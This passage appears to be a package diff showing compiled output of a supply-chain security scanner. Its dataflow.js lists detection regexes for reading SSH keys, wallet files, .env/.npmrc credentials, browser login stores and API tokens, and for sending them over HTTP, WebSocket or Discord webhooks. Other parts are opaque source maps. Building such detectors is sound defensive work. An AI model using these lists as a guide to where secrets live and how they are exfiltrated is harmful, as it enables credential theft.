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"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"dataflow.d.ts","sourceRoot":"","sources":["../../../src/scanner/checks/dataflow.ts"],"names":[],"mappings":"AACA,OAAO,KAAK,EAAE,OAAO,EAAY,YAAY,EAAE,MAAM,aAAa,CAAC;AA4RnE,wBAAgB,aAAa,CAAC,QAAQ,EAAE,YAAY,GAAG,OAAO,EAAE,CA0F/D"}
|
|
@@ -0,0 +1,316 @@
|
|
|
1
|
+
import { isScannable, SCANNABLE_EXTENSIONS_PATTERN } from "../constants.js";
|
|
2
|
+
import { findLineNumberByIndex } from "../utils.js";
|
|
3
|
+
// Sources: Where sensitive data originates
|
|
4
|
+
const SOURCES = [
|
|
5
|
+
{
|
|
6
|
+
id: "SSH_KEYS",
|
|
7
|
+
name: "SSH private keys",
|
|
8
|
+
description: "SSH private key files",
|
|
9
|
+
patterns: [
|
|
10
|
+
/\.ssh\/id_(?:rsa|ed25519|ecdsa|dsa)/gi,
|
|
11
|
+
/\.ssh\/config/gi,
|
|
12
|
+
/BEGIN\s+(?:RSA\s+)?PRIVATE\s+KEY/gi,
|
|
13
|
+
/BEGIN\s+OPENSSH\s+PRIVATE\s+KEY/gi,
|
|
14
|
+
],
|
|
15
|
+
apis: [
|
|
16
|
+
/(?:fs|promises?)\.readFile(?:Sync)?\s*\([^)]*\.ssh/gi,
|
|
17
|
+
/readFile(?:Sync)?\s*\([^)]*id_(?:rsa|ed25519)/gi,
|
|
18
|
+
],
|
|
19
|
+
},
|
|
20
|
+
{
|
|
21
|
+
id: "CRYPTO_WALLETS",
|
|
22
|
+
name: "Cryptocurrency wallets",
|
|
23
|
+
description: "Wallet files and seed phrases",
|
|
24
|
+
patterns: [
|
|
25
|
+
/\.ethereum/gi,
|
|
26
|
+
/\.bitcoin/gi,
|
|
27
|
+
/wallet\.dat/gi,
|
|
28
|
+
/keystore\/[a-z0-9-]+/gi,
|
|
29
|
+
/solana\/id\.json/gi,
|
|
30
|
+
/Exodus/gi,
|
|
31
|
+
/MetaMask/gi,
|
|
32
|
+
/phantom/gi,
|
|
33
|
+
],
|
|
34
|
+
apis: [
|
|
35
|
+
/readFile(?:Sync)?\s*\([^)]*(?:wallet|ethereum|bitcoin|keystore)/gi,
|
|
36
|
+
/readFile(?:Sync)?\s*\([^)]*\.solana/gi,
|
|
37
|
+
],
|
|
38
|
+
},
|
|
39
|
+
{
|
|
40
|
+
id: "CREDENTIALS",
|
|
41
|
+
name: "Credential files",
|
|
42
|
+
description: "Environment files and credential stores",
|
|
43
|
+
patterns: [
|
|
44
|
+
/\.env(?:\.local|\.production)?/gi,
|
|
45
|
+
/\.npmrc/gi,
|
|
46
|
+
/\.netrc/gi,
|
|
47
|
+
/\.git-credentials/gi,
|
|
48
|
+
/credentials\.json/gi,
|
|
49
|
+
/secrets?\./gi,
|
|
50
|
+
],
|
|
51
|
+
apis: [
|
|
52
|
+
/readFile(?:Sync)?\s*\([^)]*\.env/gi,
|
|
53
|
+
/readFile(?:Sync)?\s*\([^)]*\.npmrc/gi,
|
|
54
|
+
/process\.env\.[A-Z_]+(?:KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL)/gi,
|
|
55
|
+
],
|
|
56
|
+
},
|
|
57
|
+
{
|
|
58
|
+
id: "BROWSER_DATA",
|
|
59
|
+
name: "Browser stored data",
|
|
60
|
+
description: "Browser cookies, passwords, and local storage",
|
|
61
|
+
patterns: [
|
|
62
|
+
/Google[/\\]Chrome[/\\].*Login\s+Data/gi,
|
|
63
|
+
/Google[/\\]Chrome[/\\].*Cookies/gi,
|
|
64
|
+
/Mozilla[/\\]Firefox[/\\].*logins\.json/gi,
|
|
65
|
+
/BraveSoftware[/\\].*Login\s+Data/gi,
|
|
66
|
+
/Microsoft[/\\]Edge[/\\].*Login\s+Data/gi,
|
|
67
|
+
/Local\s+Storage[/\\]leveldb/gi,
|
|
68
|
+
],
|
|
69
|
+
apis: [
|
|
70
|
+
/readFile(?:Sync)?\s*\([^)]*(?:Chrome|Firefox|Edge|Brave)/gi,
|
|
71
|
+
/readFile(?:Sync)?\s*\([^)]*Login\s*Data/gi,
|
|
72
|
+
],
|
|
73
|
+
},
|
|
74
|
+
{
|
|
75
|
+
id: "API_TOKENS",
|
|
76
|
+
name: "API tokens and keys",
|
|
77
|
+
description: "API keys and authentication tokens",
|
|
78
|
+
patterns: [
|
|
79
|
+
/(?:GITHUB|GITLAB|BITBUCKET)_(?:TOKEN|API_KEY)/gi,
|
|
80
|
+
/NPM_TOKEN/gi,
|
|
81
|
+
/OPENVSX_(?:TOKEN|PAT)/gi,
|
|
82
|
+
/(?:AWS|AZURE|GCP)_(?:ACCESS_KEY|SECRET|TOKEN)/gi,
|
|
83
|
+
/OPENAI_API_KEY/gi,
|
|
84
|
+
/ANTHROPIC_API_KEY/gi,
|
|
85
|
+
],
|
|
86
|
+
apis: [/process\.env\.(?:GITHUB|GITLAB|NPM|AWS|AZURE|OPENAI|ANTHROPIC)/gi],
|
|
87
|
+
},
|
|
88
|
+
];
|
|
89
|
+
// Sinks: Where data leaves the system
|
|
90
|
+
const SINKS = [
|
|
91
|
+
{
|
|
92
|
+
id: "NETWORK_SEND",
|
|
93
|
+
name: "Network transmission",
|
|
94
|
+
description: "HTTP requests that send data externally",
|
|
95
|
+
patterns: [
|
|
96
|
+
/fetch\s*\([^)]*,\s*\{[^}]*method\s*:\s*['"](?:POST|PUT)/gi,
|
|
97
|
+
/axios\.(?:post|put)\s*\(/gi,
|
|
98
|
+
/https?\.request\s*\([^)]*method\s*:\s*['"](?:POST|PUT)/gi,
|
|
99
|
+
/request\.(?:post|put)\s*\(/gi,
|
|
100
|
+
/got\.(?:post|put)\s*\(/gi,
|
|
101
|
+
/superagent\.(?:post|put)\s*\(/gi,
|
|
102
|
+
],
|
|
103
|
+
},
|
|
104
|
+
{
|
|
105
|
+
id: "WEBSOCKET_SEND",
|
|
106
|
+
name: "WebSocket transmission",
|
|
107
|
+
description: "Data sent over WebSocket connections",
|
|
108
|
+
patterns: [/\.send\s*\([^)]+\)/gi, /WebSocket\s*\([^)]*\)/gi, /ws\.send\s*\(/gi],
|
|
109
|
+
},
|
|
110
|
+
{
|
|
111
|
+
id: "DISCORD_WEBHOOK",
|
|
112
|
+
name: "Discord webhook",
|
|
113
|
+
description: "Discord webhook exfiltration",
|
|
114
|
+
patterns: [/discord\.com\/api\/webhooks/gi, /discordapp\.com\/api\/webhooks/gi],
|
|
115
|
+
},
|
|
116
|
+
{
|
|
117
|
+
id: "EVAL_EXEC",
|
|
118
|
+
name: "Code execution",
|
|
119
|
+
description: "eval or Function constructor",
|
|
120
|
+
patterns: [
|
|
121
|
+
/\beval\s*\(/gi,
|
|
122
|
+
/new\s+Function\s*\(/gi,
|
|
123
|
+
/\(\s*\)\s*\[\s*['"]constructor['"]\s*\]/gi,
|
|
124
|
+
],
|
|
125
|
+
},
|
|
126
|
+
{
|
|
127
|
+
id: "CHILD_PROCESS",
|
|
128
|
+
name: "Shell execution",
|
|
129
|
+
description: "Command execution via child_process",
|
|
130
|
+
patterns: [
|
|
131
|
+
/child_process\.(?:exec|execSync|spawn|spawnSync)\s*\(/gi,
|
|
132
|
+
/(?:exec|execSync|spawn|spawnSync)\s*\([^)]*\$\{/gi,
|
|
133
|
+
],
|
|
134
|
+
},
|
|
135
|
+
];
|
|
136
|
+
// Critical data flow combinations
|
|
137
|
+
const FLOW_RULES = [
|
|
138
|
+
{
|
|
139
|
+
id: "FLOW_SSH_KEY_EXFIL",
|
|
140
|
+
title: "SSH key exfiltration pattern",
|
|
141
|
+
description: "Code reads SSH private keys and sends data over network. This is a credential theft pattern.",
|
|
142
|
+
severity: "critical",
|
|
143
|
+
source: "SSH_KEYS",
|
|
144
|
+
sink: "NETWORK_SEND",
|
|
145
|
+
redFlags: ["Reads .ssh directory", "Sends to external URL"],
|
|
146
|
+
},
|
|
147
|
+
{
|
|
148
|
+
id: "FLOW_WALLET_EXFIL",
|
|
149
|
+
title: "Cryptocurrency wallet exfiltration",
|
|
150
|
+
description: "Code accesses cryptocurrency wallet data and sends it over network. This is a crypto theft pattern.",
|
|
151
|
+
severity: "critical",
|
|
152
|
+
source: "CRYPTO_WALLETS",
|
|
153
|
+
sink: "NETWORK_SEND",
|
|
154
|
+
redFlags: ["Accesses wallet files", "Sends to external server"],
|
|
155
|
+
},
|
|
156
|
+
{
|
|
157
|
+
id: "FLOW_CRED_EXFIL",
|
|
158
|
+
title: "Credential exfiltration pattern",
|
|
159
|
+
description: "Code reads credential files (.env, .npmrc, etc.) and sends data over network.",
|
|
160
|
+
severity: "critical",
|
|
161
|
+
source: "CREDENTIALS",
|
|
162
|
+
sink: "NETWORK_SEND",
|
|
163
|
+
redFlags: ["Reads environment files", "HTTP POST to external"],
|
|
164
|
+
},
|
|
165
|
+
{
|
|
166
|
+
id: "FLOW_BROWSER_EXFIL",
|
|
167
|
+
title: "Browser data exfiltration",
|
|
168
|
+
description: "Code accesses browser stored passwords/cookies and sends them over network.",
|
|
169
|
+
severity: "critical",
|
|
170
|
+
source: "BROWSER_DATA",
|
|
171
|
+
sink: "NETWORK_SEND",
|
|
172
|
+
redFlags: ["Reads Chrome/Firefox data", "Network exfiltration"],
|
|
173
|
+
},
|
|
174
|
+
{
|
|
175
|
+
id: "FLOW_TOKEN_EXFIL",
|
|
176
|
+
title: "API token exfiltration",
|
|
177
|
+
description: "Code accesses API tokens from environment and sends them to external server.",
|
|
178
|
+
severity: "critical",
|
|
179
|
+
source: "API_TOKENS",
|
|
180
|
+
sink: "NETWORK_SEND",
|
|
181
|
+
legitimateUses: ["Token validation services", "OAuth flows"],
|
|
182
|
+
redFlags: ["Tokens sent to unknown domains", "No user consent"],
|
|
183
|
+
},
|
|
184
|
+
{
|
|
185
|
+
id: "FLOW_SSH_DISCORD",
|
|
186
|
+
title: "SSH key sent to Discord",
|
|
187
|
+
description: "Code reads SSH keys and sends them to Discord webhook. This is a common exfiltration technique.",
|
|
188
|
+
severity: "critical",
|
|
189
|
+
source: "SSH_KEYS",
|
|
190
|
+
sink: "DISCORD_WEBHOOK",
|
|
191
|
+
},
|
|
192
|
+
{
|
|
193
|
+
id: "FLOW_CRED_DISCORD",
|
|
194
|
+
title: "Credentials sent to Discord",
|
|
195
|
+
description: "Code reads credentials and sends them to Discord webhook for exfiltration.",
|
|
196
|
+
severity: "critical",
|
|
197
|
+
source: "CREDENTIALS",
|
|
198
|
+
sink: "DISCORD_WEBHOOK",
|
|
199
|
+
},
|
|
200
|
+
{
|
|
201
|
+
id: "FLOW_SSH_EXEC",
|
|
202
|
+
title: "SSH key used in command execution",
|
|
203
|
+
description: "SSH key content is passed to command execution, potentially for remote access.",
|
|
204
|
+
severity: "high",
|
|
205
|
+
source: "SSH_KEYS",
|
|
206
|
+
sink: "CHILD_PROCESS",
|
|
207
|
+
legitimateUses: ["SSH key management tools", "Git operations"],
|
|
208
|
+
redFlags: ["Key content passed to exec", "Unknown remote commands"],
|
|
209
|
+
},
|
|
210
|
+
];
|
|
211
|
+
/**
|
|
212
|
+
* Find all matches for a set of patterns
|
|
213
|
+
*/
|
|
214
|
+
function findMatches(content, patterns) {
|
|
215
|
+
const matches = [];
|
|
216
|
+
for (const pattern of patterns) {
|
|
217
|
+
const regex = new RegExp(pattern.source, pattern.flags);
|
|
218
|
+
let match;
|
|
219
|
+
while ((match = regex.exec(content)) !== null) {
|
|
220
|
+
matches.push({
|
|
221
|
+
index: match.index,
|
|
222
|
+
matched: match[0].slice(0, 80),
|
|
223
|
+
});
|
|
224
|
+
}
|
|
225
|
+
}
|
|
226
|
+
return matches;
|
|
227
|
+
}
|
|
228
|
+
/**
|
|
229
|
+
* Check if source and sink are in proximity (within same function/block)
|
|
230
|
+
* Uses a simple heuristic: within 2000 characters of each other
|
|
231
|
+
*/
|
|
232
|
+
function areInProximity(sourceIndex, sinkIndex, maxDistance = 2000) {
|
|
233
|
+
return Math.abs(sourceIndex - sinkIndex) < maxDistance;
|
|
234
|
+
}
|
|
235
|
+
export function checkDataFlow(contents) {
|
|
236
|
+
const findings = [];
|
|
237
|
+
const seenFindings = new Set();
|
|
238
|
+
for (const [filename, buffer] of contents.files) {
|
|
239
|
+
if (!isScannable(filename, SCANNABLE_EXTENSIONS_PATTERN))
|
|
240
|
+
continue;
|
|
241
|
+
const content = buffer.toString("utf8");
|
|
242
|
+
// Find all source and sink matches
|
|
243
|
+
const sourceMatches = new Map();
|
|
244
|
+
const sinkMatches = new Map();
|
|
245
|
+
for (const source of SOURCES) {
|
|
246
|
+
const matches = [
|
|
247
|
+
...findMatches(content, source.patterns),
|
|
248
|
+
...findMatches(content, source.apis),
|
|
249
|
+
];
|
|
250
|
+
if (matches.length > 0) {
|
|
251
|
+
sourceMatches.set(source.id, matches);
|
|
252
|
+
}
|
|
253
|
+
}
|
|
254
|
+
for (const sink of SINKS) {
|
|
255
|
+
const matches = findMatches(content, sink.patterns);
|
|
256
|
+
if (matches.length > 0) {
|
|
257
|
+
sinkMatches.set(sink.id, matches);
|
|
258
|
+
}
|
|
259
|
+
}
|
|
260
|
+
// Check each flow rule
|
|
261
|
+
for (const rule of FLOW_RULES) {
|
|
262
|
+
const sources = sourceMatches.get(rule.source);
|
|
263
|
+
const sinks = sinkMatches.get(rule.sink);
|
|
264
|
+
if (!sources || !sinks)
|
|
265
|
+
continue;
|
|
266
|
+
// Find the closest source-sink pair
|
|
267
|
+
let closestPair = null;
|
|
268
|
+
for (const sourceMatch of sources) {
|
|
269
|
+
for (const sinkMatch of sinks) {
|
|
270
|
+
if (areInProximity(sourceMatch.index, sinkMatch.index)) {
|
|
271
|
+
const distance = Math.abs(sourceMatch.index - sinkMatch.index);
|
|
272
|
+
if (!closestPair || distance < closestPair.distance) {
|
|
273
|
+
closestPair = { sourceMatch, sinkMatch, distance };
|
|
274
|
+
}
|
|
275
|
+
}
|
|
276
|
+
}
|
|
277
|
+
}
|
|
278
|
+
if (!closestPair)
|
|
279
|
+
continue;
|
|
280
|
+
// Deduplicate
|
|
281
|
+
const key = `${rule.id}:${filename}`;
|
|
282
|
+
if (seenFindings.has(key))
|
|
283
|
+
continue;
|
|
284
|
+
seenFindings.add(key);
|
|
285
|
+
const source = SOURCES.find((s) => s.id === rule.source);
|
|
286
|
+
const sink = SINKS.find((s) => s.id === rule.sink);
|
|
287
|
+
findings.push({
|
|
288
|
+
id: rule.id,
|
|
289
|
+
title: rule.title,
|
|
290
|
+
description: rule.description,
|
|
291
|
+
severity: rule.severity,
|
|
292
|
+
category: "dataflow",
|
|
293
|
+
location: {
|
|
294
|
+
file: filename,
|
|
295
|
+
line: findLineNumberByIndex(content, closestPair.sourceMatch.index),
|
|
296
|
+
},
|
|
297
|
+
metadata: {
|
|
298
|
+
source: {
|
|
299
|
+
type: source?.name ?? rule.source,
|
|
300
|
+
matched: closestPair.sourceMatch.matched,
|
|
301
|
+
},
|
|
302
|
+
sink: {
|
|
303
|
+
type: sink?.name ?? rule.sink,
|
|
304
|
+
matched: closestPair.sinkMatch.matched,
|
|
305
|
+
line: findLineNumberByIndex(content, closestPair.sinkMatch.index),
|
|
306
|
+
},
|
|
307
|
+
distance: closestPair.distance,
|
|
308
|
+
...(rule.legitimateUses && { legitimateUses: rule.legitimateUses }),
|
|
309
|
+
...(rule.redFlags && { redFlags: rule.redFlags }),
|
|
310
|
+
},
|
|
311
|
+
});
|
|
312
|
+
}
|
|
313
|
+
}
|
|
314
|
+
return findings;
|
|
315
|
+
}
|
|
316
|
+
//# sourceMappingURL=dataflow.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"dataflow.js","sourceRoot":"","sources":["../../../src/scanner/checks/dataflow.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,WAAW,EAAE,4BAA4B,EAAE,MAAM,iBAAiB,CAAC;AAE5E,OAAO,EAAE,qBAAqB,EAAE,MAAM,aAAa,CAAC;AAwCpD,2CAA2C;AAC3C,MAAM,OAAO,GAAiB;IAC5B;QACE,EAAE,EAAE,UAAU;QACd,IAAI,EAAE,kBAAkB;QACxB,WAAW,EAAE,uBAAuB;QACpC,QAAQ,EAAE;YACR,uCAAuC;YACvC,iBAAiB;YACjB,oCAAoC;YACpC,mCAAmC;SACpC;QACD,IAAI,EAAE;YACJ,sDAAsD;YACtD,iDAAiD;SAClD;KACF;IACD;QACE,EAAE,EAAE,gBAAgB;QACpB,IAAI,EAAE,wBAAwB;QAC9B,WAAW,EAAE,+BAA+B;QAC5C,QAAQ,EAAE;YACR,cAAc;YACd,aAAa;YACb,eAAe;YACf,wBAAwB;YACxB,oBAAoB;YACpB,UAAU;YACV,YAAY;YACZ,WAAW;SACZ;QACD,IAAI,EAAE;YACJ,mEAAmE;YACnE,uCAAuC;SACxC;KACF;IACD;QACE,EAAE,EAAE,aAAa;QACjB,IAAI,EAAE,kBAAkB;QACxB,WAAW,EAAE,yCAAyC;QACtD,QAAQ,EAAE;YACR,kCAAkC;YAClC,WAAW;YACX,WAAW;YACX,qBAAqB;YACrB,qBAAqB;YACrB,cAAc;SACf;QACD,IAAI,EAAE;YACJ,oCAAoC;YACpC,sCAAsC;YACtC,iEAAiE;SAClE;KACF;IACD;QACE,EAAE,EAAE,cAAc;QAClB,IAAI,EAAE,qBAAqB;QAC3B,WAAW,EAAE,+CAA+C;QAC5D,QAAQ,EAAE;YACR,wCAAwC;YACxC,mCAAmC;YACnC,0CAA0C;YAC1C,oCAAoC;YACpC,yCAAyC;YACzC,+BAA+B;SAChC;QACD,IAAI,EAAE;YACJ,4DAA4D;YAC5D,2CAA2C;SAC5C;KACF;IACD;QACE,EAAE,EAA